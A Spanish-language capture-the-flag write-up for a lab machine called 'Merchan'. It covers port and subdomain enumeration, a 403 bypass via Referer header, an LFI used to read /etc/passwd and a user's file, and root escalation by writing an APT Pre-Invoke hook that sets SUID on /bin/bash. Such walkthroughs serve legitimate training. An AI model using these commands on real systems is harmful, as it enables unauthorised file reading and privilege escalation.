Resolución del CTF Merchan
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Detectamos SSH (22/tcp) y un servicio web HTTP (80/tcp) que redirige a un virtual host.
Web
Accedemos al servicio HTTP y resolvemos el virtual host configurando el dominio localmente. El contenido inicial no expone funcionalidad directa, por lo que procedemos a enumerar subdominios y recursos.
ffuf -u 'http://merchan.thl/' -H 'Host: FUZZ.merchan.thl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --fw=18Únicamente se identifica el subdominio www. Continuamos con enumeración de directorios y archivos.
feroxbuster --url http://merchan.thl/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x js,txt,zip --filter-status 404,400,503Localizamos un archivo secret.js, el cual se encuentra ofuscado.
Explotación Web
Tras deofuscar el contenido de secret.js, observamos que genera dinámicamente un enlace hacia un archivo PHP con nombre aleatorio.
curl http://merchan.thl/secret.jsEl enlace apunta a 2e81eb4e952a3268babddecad2a4ec1e.php. El acceso directo devuelve un error 403, que logramos evadir añadiendo una barra final y un encabezado Referer.
curl -H 'Referer: http://merchan.thl/' http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php/La respuesta es vacía, por lo que procedemos a realizar fuzzing de parámetros para detectar funcionalidad oculta.
ffuf -u 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -H 'Referer: http://merchan.thl/' --fs=0Identificamos el parámetro file, vulnerable a lectura arbitraria de archivos.
curl -H 'Referer: http://merchan.thl/' 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?file=/etc/passwd'Confirmamos la vulnerabilidad LFI. A partir de la enumeración de directorios de usuarios, localizamos el directorio personal de julia y accedemos a su archivo de usuario.
curl -H 'Referer: http://merchan.thl/' 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?file=/home/julia/user.txt'Obtenemos la credencial del usuario y accedemos al sistema por SSH.
Escalada de privilegios
El usuario no dispone de permisos sudo. Enumeramos el sistema en busca de vectores locales y detectamos que el directorio /etc/apt/apt.conf.d es escribible.
ls -ld /etc/apt/apt.conf.dAPT carga automáticamente los archivos de este directorio durante la ejecución de apt update. Aprovechamos este comportamiento para inyectar una directiva maliciosa.
echo 'APT::Update::Pre-Invoke {"chmod +s /bin/bash";};' > /etc/apt/apt.conf.d/pwnTras la ejecución automática de una actualización del sistema, verificamos que /bin/bash tiene el bit SUID activo.
ls -l /bin/bashEjecutamos bash con privilegios elevados y accedemos al archivo de root.
bash -pcat /root/root.txt